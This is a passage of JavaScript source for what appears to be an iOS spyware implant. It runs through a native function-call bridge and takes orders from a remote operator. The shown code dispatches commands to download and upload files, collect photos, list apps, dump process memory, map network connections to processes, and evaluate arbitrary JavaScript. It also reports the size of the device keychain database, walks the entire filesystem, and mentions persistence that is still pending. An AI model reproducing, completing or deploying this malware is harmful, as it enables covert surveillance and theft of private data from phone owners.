pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + 